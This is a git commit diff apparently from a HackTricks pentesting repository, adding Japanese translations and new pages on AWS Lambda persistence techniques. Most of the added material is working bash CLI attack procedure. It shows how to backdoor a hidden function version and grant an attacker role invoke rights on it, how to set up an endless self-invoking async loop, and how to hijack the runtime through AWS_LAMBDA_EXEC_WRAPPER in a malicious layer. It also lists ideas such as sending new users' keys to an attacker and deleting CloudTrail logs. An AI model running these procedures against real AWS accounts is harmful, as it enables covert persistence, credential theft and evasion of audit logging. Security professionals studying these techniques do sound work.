Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2025-10-06 23:07:47 +00:00
parent 75a3b1136a
commit bbcdc1b895
13 changed files with 911 additions and 90 deletions

View File

@@ -1,10 +1,10 @@
# AWS - Lambda Persistence
# AWS - Lambda 永続化
{{#include ../../../../banners/hacktricks-training.md}}
## Lambda
詳細については、次を確認してください:
詳細は次を参照:
{{#ref}}
../../aws-services/aws-lambda-enum.md
@@ -12,7 +12,7 @@
### Lambda Layer Persistence
**任意コードを実行するためにレイヤーを導入/バックドアする**ことが可能で、lambdaがステルスな方法で実行されるときに行えます
Lambda が実行される際にステルスに任意コードを実行するために **レイヤーをintroduce/backdoor** することが可能です:
{{#ref}}
aws-lambda-layers-persistence.md
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
### Lambda Extension Persistence
Lambda Layersを悪用することで、拡張機能を悪用し、lambdaに持続させるだけでなく、リクエストを盗んだり変更したりすることも可能です。
Lambda Layers を悪用することで extensions を悪用し、lambda 内にpersistしたりリクエストを盗んだり変することも可能です。
{{#ref}}
aws-abusing-lambda-extensions.md
@@ -28,37 +28,64 @@ aws-abusing-lambda-extensions.md
### Via resource policies
外部アカウントに対して、異なるlambdaアクションinvokeupdate codeなど)へのアクセスを付与することが可能です
外部アカウントに対して invokeupdate code といった異なる lambda アクションへのアクセスを付与することが可能です:
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
### Versions, Aliases & Weights
Lambda**異なるバージョン**(各バージョン異なるコード)を持つことができます。\
その後、**異なるバージョンの異なるエイリアスを作成**し、それぞれに異なる重みを設定できます。\
この方法で攻撃者は**バックドア付きのバージョン1**と**正当なコードのみのバージョン2**を作成し、**リクエストの1%のみバージョン1を実行**してステルスを維持できます。
Lambda**異なるバージョン**(各バージョン異なるコード)を持ます。\
その後、**異なるバージョンを指す別の alias を作成**し、それぞれに異なる weights を設定できます。\
この方法で攻撃者は **backdoored version 1****正コードのみの version 2** を作成し、ステルスのためにリクエストの 1% のみで version 1 を実行する、ということが可能です。
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
### Version Backdoor + API Gateway
1. Lambdaの元のコードをコピーします
2. **元のコードをバックドアする新しいバージョンを作成**します(または悪意のあるコードのみで)。そのバージョンを公開し、**$LATESTにデプロイ**します
1. コードを実行するためにlambdaに関連するAPIゲートウェイを呼び出します
3. **元のコードを持つ新しいバージョンを作成**し、その**バージョンを$LATESTに公開してデプロイ**します。
1. これにより、バックドア付きのコードは以前のバージョンに隠されます
4. API Gatewayに移動し、**バックドア付きのlambdaの実行を行う新しいPOSTメソッドを作成**します:`arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. 最後の:1は**関数のバージョンを示す**ことに注意してくださいこのシナリオではバージョン1がバックドア付きのものになります
5. 作成したPOSTメソッドを選択し、アクションで**`Deploy API`**を選択します
6. これで、**POST経由で関数を呼び出すと、あなたのバックドアが呼び出されます**
1. Copy the original code of the Lambda
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
1. Call the API gateway related to the lambda to execute the code
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
1. This will hide the backdoored code in a previous version
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
5. Select the POST method created and in Actions select **`Deploy API`**
6. Now, when you **call the function via POST your Backdoor** will be invoked
### Cron/Event actuator
**何かが起こったときや時間が経過したときにlambda関数を実行できる**という事実は、lambdaを持続性を得て検出を避けるための素晴らしく一般的な方法にします。\
ここでは、**lambdaを作成してAWSでの存在をよりステルスにするためのアイデア**をいくつか紹介します。
何かが起こったときや一定時間が経過したときに **lambda functions を実行できる** という性質は、lambda を永続化と検知回避のための便利かつ一般的な手段にします。\
以下は AWSでの存在をステルスにするために lambda を作成して行えるアイデアです。
- 新しいユーザーが作成されるたびに lambda が新しい user key を生成して attacker に送る。
- 新しい role が作成されるたびに lambda が compromised users に対して assume role 権限を与える。
- 新しい cloudtrail logs が生成されるたびにそれらを削除/改ざんする。
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
環境変数 `AWS_LAMBDA_EXEC_WRAPPER` を悪用し、runtime/handler が始まる前に attacker 制御の wrapper script を実行させます。wrapper は Lambda Layer で `/opt/bin/htwrap` として配布し、`AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` を設定してから関数を invoke します。wrapper は function runtime process 内で実行され、function execution role を継承し、最終的に real runtime を `exec` するため元の handler は通常通り実行されます。
{{#ref}}
aws-lambda-exec-wrapper-persistence.md
{{#endref}}
### AWS - Lambda Function URL Public Exposure
Lambda asynchronous destinations と Recursion 設定を組み合わせて、EventBridge や cron などの外部 scheduler なしで関数を継続的に再呼び出しさせることを悪用します。デフォルトでは Lambda は再帰ループを終了させますが、recursion config を Allow に設定すると再度有効になります。Destinations は async invoke に対してサービス側で配信されるため、単一の seed invoke がステルスでコード不要の heartbeat/backdoor チャネルを作成します。オプションで reserved concurrency を使ってノイズを抑えることができます。
{{#ref}}
aws-lambda-async-self-loop-persistence.md
{{#endref}}
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
攻撃者のロジックを持つ隠し Lambda バージョンを作成し、`lambda add-permission``--qualifier` パラメータを使ってその特定の version (または alias) にスコープした resource-based policy を作成します。`arn:aws:lambda:REGION:ACCT:function:FN:VERSION` に対して攻撃者プリンシパルにのみ `lambda:InvokeFunction` を付与します。関数名やプライマリアリス経由の通常の呼び出しは影響を受けず、攻撃者は直接 backdoored version ARN を invoke できます。
これは Function URL を公開するよりもステルスで、プライマリトラフィックの alias を変更しません。
{{#ref}}
aws-lambda-alias-version-policy-backdoor.md
{{#endref}}
- 新しいユーザーが作成されるたびに、lambdaは新しいユーザーキーを生成し、攻撃者に送信します。
- 新しいロールが作成されるたびに、lambdaは侵害されたユーザーにロールの引き受け権限を付与します。
- 新しいcloudtrailログが生成されるたびに、それらを削除/変更します。
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,88 @@
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
{{#include ../../../../banners/hacktricks-training.md}}
## 概要
攻撃者のロジックを含む隠しの Lambda バージョンを作成し、`lambda add-permission``--qualifier` パラメータを使ってその特定のバージョン(または aliasに対してリソースベースのポリシーをスコープします。攻撃者プリンシパルには `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` 上の `lambda:InvokeFunction` のみを付与します。関数名やプライマリアライアスを経由した通常の呼び出しは影響を受けず、攻撃者はバックドア化されたバージョンの ARN を直接呼び出せます。
これは Function URL を公開するよりステルス性が高く、プライマリのトラフィック用 alias を変更しません。
## 必要な権限(攻撃者)
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
- `lambda:AddPermission`(バージョンにスコープされたリソースポリシーを追加するため)
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole`(攻撃者プリンシパルをシミュレートするため)
## 攻撃手順CLI
<details>
<summary>隠しバージョンを公開し、qualifier スコープの許可を追加し、攻撃者として呼び出す</summary>
```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
# 1) Build a small backdoor handler and publish as a new version
cat > bdoor.py <<PY
import json, os, boto3
def lambda_handler(e, c):
ident = boto3.client(sts).get_caller_identity()
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
PY
zip bdoor.zip bdoor.py
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
echo "Published version: $VER ($VER_ARN)"
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
ATTACK_ROLE_NAME=ht-version-invoker
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
cat > /tmp/invoke-policy.json <<POL
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["lambda:InvokeFunction"],
"Resource": ["$VER_ARN"]
}]
}
POL
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
# Add resource-based policy scoped to the version (Qualifier)
aws lambda add-permission \
--function-name "$TARGET_FN" \
--qualifier "$VER" \
--statement-id ht-version-backdoor \
--action lambda:InvokeFunction \
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
--region $REGION
# 3) Assume the attacker role and invoke only the qualified version
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
cat /tmp/ver-out.json
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
```
</details>
## 影響
- primary alias を変更したり Function URL を公開したりすることなく、関数の隠されたバージョンをステルスなバックドアとして呼び出す権限を付与する。
- リソースベースポリシーの `Qualifier` を介して指定された version/alias のみに露出を限定し、検出対象を減らしつつ attacker principal による確実な呼び出しを維持する。
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,92 @@
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
Lambda の asynchronous destinations と Recursion 設定を悪用して、外部スケジューラEventBridge、cron 等)を使わずに関数を継続的に自己再呼び出しさせます。デフォルトでは Lambda は再帰ループを終了しますが、recursion config を Allow に設定するとこれが再び有効になります。Destinations は async invokes をサービス側で配信するため、単一のシード invoke によりコード不要のステルスなハートビート/バックドアチャンネルが作成されます。ノイズを抑えるために reserved concurrency でスロットリングすることも可能です。
Notes
- Lambda does not allow configuring the function to be its own destination directly. Use a function alias as the destination and allow the execution role to invoke that alias.
- Minimum permissions: ability to read/update the target functions event invoke config and recursion config, publish a version and manage an alias, and update the functions execution role policy to allow lambda:InvokeFunction on the alias.
## Requirements
- Region: us-east-1
- Vars:
- REGION=us-east-1
- TARGET_FN=<target-lambda-name>
## Steps
1) 関数の ARN と現在の recursion 設定を取得する
```
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
```
2) バージョンを公開し、エイリアスを作成/更新する(自身を宛先として使用)
```
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
```
3) 関数の実行ロールがエイリアスを呼び出せるようにするLambda Destinations→Lambda が必要とする)
```
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
```
4) async destination を alias (self via alias) に設定し、retries を無効化する
```
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION
# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
```
5) 再帰ループを許可する
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
```
6) 単一の非同期 invoke をシードする
```
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
```
7) 継続的な呼び出しを観察する(例)
```
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
```
8) 任意の stealth throttle
```
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
```
## クリーンアップ
ループを停止し、persistence を削除する。
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
# Optional: delete alias and remove the inline policy when finished
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
```
## 影響
- 単一の async invoke により、外部のスケジューラなしで Lambda が自己を継続的に再呼び出しし、ステルスな persistence/heartbeat を可能にします。Reserved concurrency により、ノイズを単一の warm execution に制限できます。

View File

@@ -0,0 +1,94 @@
# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
{{#include ../../../../banners/hacktricks-training.md}}
## 概要
環境変数 `AWS_LAMBDA_EXEC_WRAPPER` を悪用して、runtime/handler が開始する前に攻撃者が制御するラッパースクリプトを実行します。ラッパーは Lambda Layer の `/opt/bin/htwrap` に配置し、`AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` に設定してから関数を呼び出します。ラッパーは関数の runtime プロセス内で実行され、関数の実行ロールを継承し、最後に実際の runtime を `exec` して元のハンドラーが通常通り実行されるようにします。
> [!WARNING]
> この手法は、対象の Lambda におけるコード実行を可能にします。ソースコードやロールを変更せず、`iam:PassRole` を必要としません。必要なのは関数の設定を更新し、レイヤーを公開/アタッチする権限だけです。
## 必要な権限(攻撃者)
- `lambda:UpdateFunctionConfiguration`
- `lambda:GetFunctionConfiguration`
- `lambda:InvokeFunction`(または既存のイベント経由でトリガー)
- `lambda:ListFunctions`, `lambda:ListLayers`
- `lambda:PublishLayerVersion`(同一アカウント)および、クロスアカウント/公開レイヤーを使用する場合はオプションで `lambda:AddLayerVersionPermission`
## ラッパースクリプト
レイヤー内の `/opt/bin/htwrap` にラッパーを配置します。ハンドラー実行前の処理を実行でき、実際の runtime にチェインするために最後は `exec "$@"` で終わる必要があります。
```bash
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
```
## 攻撃手順 (CLI)
<details>
<summary>レイヤーをpublishして、ターゲット関数にattachし、wrapperを設定してinvokeする</summary>
```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>
# 1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin
cat > layer/bin/htwrap <<'WRAP'
#!/bin/bash
set -euo pipefail
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
PY
exec "$@"
WRAP
chmod +x layer/bin/htwrap
(zip -qr htwrap-layer.zip layer)
# 2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version \
--layer-name ht-exec-wrapper \
--zip-file fileb://htwrap-layer.zip \
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
--query LayerVersionArn --output text --region "$REGION")
echo "$LAYER_ARN"
# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration \
--function-name "$TARGET_FN" \
--layers "$LAYER_ARN" \
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
--region "$REGION"
# Wait for update to finish
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
# 4) Invoke and verify via CloudWatch Logs
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
```
</details>
## 影響
- 関数の既存の実行ロールを使用して、Lambda ランタイムコンテキスト内でハンドラ実行前にコードが実行される。
- 関数コードやロールの変更は不要。Python、Node.js、Java、.NET といった一般的なマネージドランタイムで動作する。
- ハンドラ実行前に永続化、資格情報アクセス(例: STS、データの持ち出し、ランタイムの改ざんを可能にする。
{{#include ../../../../banners/hacktricks-training.md}}